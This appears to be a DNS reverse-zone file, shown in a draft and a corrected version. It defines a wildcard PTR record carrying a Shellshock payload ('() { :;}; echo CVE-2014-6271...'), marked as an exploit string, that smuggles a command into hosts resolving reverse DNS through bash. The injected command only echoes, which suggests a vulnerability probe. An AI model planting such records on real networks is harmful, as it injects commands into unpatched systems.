10;
      in-addr.arpa.
     @     IN SOA     ns.boem.wleiden.net dirkx.webweaving.org (
                    666        ; serial
                    360 180 3600 1800 ; very short livespan.
                    )
     IN          NS     127.0.0.1
     *           PTR      "() { :;}; echo CVE-2014-6271, CVE-201407169, RDNS" 



Fix up zone file; reinsert dropped variables
$TTL 10;
$ORIGIN in-addr.arpa.

@  IN SOA     ns.boem.wleiden.net dirkx.webweaving.org (
    666        ; serial
    360 180 3600 1800 ; Intentioanlly absurdly short livespans.
   )
   IN NS     127.0.0.1
             ; Exploit string; 63 char limit.
*  IN PTR    "() { :;}; echo CVE-2014-6271, CVE-201407169, RDNS"